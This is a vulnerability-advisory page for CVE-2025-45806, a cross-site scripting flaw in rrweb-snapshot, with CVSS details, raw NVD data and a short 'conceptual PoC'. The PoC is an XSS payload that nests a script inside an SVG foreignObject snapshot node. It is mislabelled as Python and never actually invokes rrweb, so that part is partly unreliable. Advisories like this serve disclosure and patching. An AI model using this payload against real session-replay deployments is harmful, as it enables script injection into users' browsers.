Security Vulnerability Report
中文
CVE-2025-45806 CVSS 6.1 MEDIUM

CVE-2025-45806

Published: 2026-04-09 14:16:25
Last Modified: 2026-04-13 15:02:47

Description

A cross-site scripting (XSS) vulnerability in rrweb-snapshot before v2.0.0-alpha.18 allows attackers to execute arbitrary web scripts or HTML via a crafted payload.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

rrweb-snapshot < v2.0.0-alpha.18

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Conceptual PoC for CVE-2025-45806 This payload demonstrates how a malicious script could be injected into a snapshot structure if input validation is missing. --> <script> // Simulating a malicious snapshot node const maliciousSnapshot = { type: 'Element', tagName: 'svg', attributes: { xmlns: 'http://www.w3.org/2000/svg', width: '100', height: '100' }, childNodes: [ { type: 'Element', tagName: 'foreignObject', attributes: { width: '100%', height: '100%' }, childNodes: [ { type: 'Element', tagName: 'div', attributes: {}, childNodes: [ { type: 'Element', tagName: 'script', attributes: {}, childNodes: [ { type: 'Text', textContent: 'alert("CVE-2025-45806 XSS Triggered");' } ] } ] } ] } ] }; // In a vulnerable version of rrweb-snapshot, rebuilding this node // would execute the script inside the foreignObject. console.log('Malicious Payload Generated'); </script>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-45806", "sourceIdentifier": "[email protected]", "published": "2026-04-09T14:16:25.210", "lastModified": "2026-04-13T15:02:47.353", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A cross-site scripting (XSS) vulnerability in rrweb-snapshot before v2.0.0-alpha.18 allows attackers to execute arbitrary web scripts or HTML via a crafted payload."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/rrweb-io/rrweb", "source": "[email protected]"}, {"url": "https://github.com/rrweb-io/rrweb/issues/1817", "source": "[email protected]"}, {"url": "https://github.com/rrweb-io/rrweb/tree/master/packages/rrweb-snapshot", "source": "[email protected]"}]}}